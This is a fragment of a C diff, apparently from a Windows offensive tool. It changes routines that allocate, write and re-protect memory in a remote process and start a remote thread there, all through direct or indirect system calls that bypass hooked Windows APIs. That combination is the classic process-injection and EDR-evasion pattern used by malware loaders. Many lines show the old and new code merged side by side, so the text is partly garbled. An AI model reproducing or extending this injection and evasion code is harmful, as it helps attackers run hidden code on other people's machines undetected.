@@ -57,7 +63,10 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a
args.arg5 = (PVOID)(ULONG_PTR)allocation_type; args.arg5 = (PVOID)(ULONG_PTR)allocation_type;
args.arg6 = (PVOID)(ULONG_PTR)protect; args.arg6 = (PVOID)(ULONG_PTR)protect;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (SND_NT_SUCCESS(nt_status)) { if (SND_NT_SUCCESS(nt_status)) {
*out_address = local_base; *out_address = local_base;
return SND_OK; return SND_OK;
@@ -76,13 +85,17 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address,
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = process; args.arg1 = process;
args.arg2 = base_address; args.arg2 = base_address;
args.arg3 = (PVOID)buffer; args.arg3 = (PVOID)buffer;
args.arg4 = (PVOID)size; args.arg4 = (PVOID)size;
args.arg5 = &written; args.arg5 = &written;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (bytes_written) if (bytes_written)
*bytes_written = written; *bytes_written = written;
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_WRITE_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_WRITE_FAILED, nt_status);
@@ -101,13 +114,17 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = process; args.arg1 = process;
args.arg2 = &addr; args.arg2 = &addr;
args.arg3 = &regionSize; args.arg3 = &regionSize;
args.arg4 = (PVOID)(ULONG_PTR)new_protect; args.arg4 = (PVOID)(ULONG_PTR)new_protect;
args.arg5 = &oldProt; args.arg5 = &oldProt;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
if (old_protect) if (old_protect)
*old_protect = oldProt; *old_protect = oldProt;
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_PROTECT_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_VIRTUAL_PROTECT_FAILED, nt_status);
@@ -126,6 +143,7 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = out_thread; args.arg1 = out_thread;
args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF; args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF;
args.arg3 = NULL; args.arg3 = NULL;
@@ -138,7 +156,10 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_
args.arg10 = 0; args.arg10 = 0;
args.arg11 = NULL; args.arg11 = NULL;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_THREAD_CREATE_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_THREAD_CREATE_FAILED, nt_status);
} }
@@ -150,9 +171,13 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) {
snd_syscall_args_t args = {0}; snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall; args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle; args.arg1 = handle;
NTSTATUS nt_status = snd_syscall_invoke_asm(&args); if (g_syscall_invoker == NULL) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
NTSTATUS nt_status = g_syscall_invoker(&args);
return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status); return SND_NT_SUCCESS(nt_status) ? SND_OK : SND_ERR_NT(SND_STATUS_HANDLE_CLOSE_FAILED, nt_status);
} }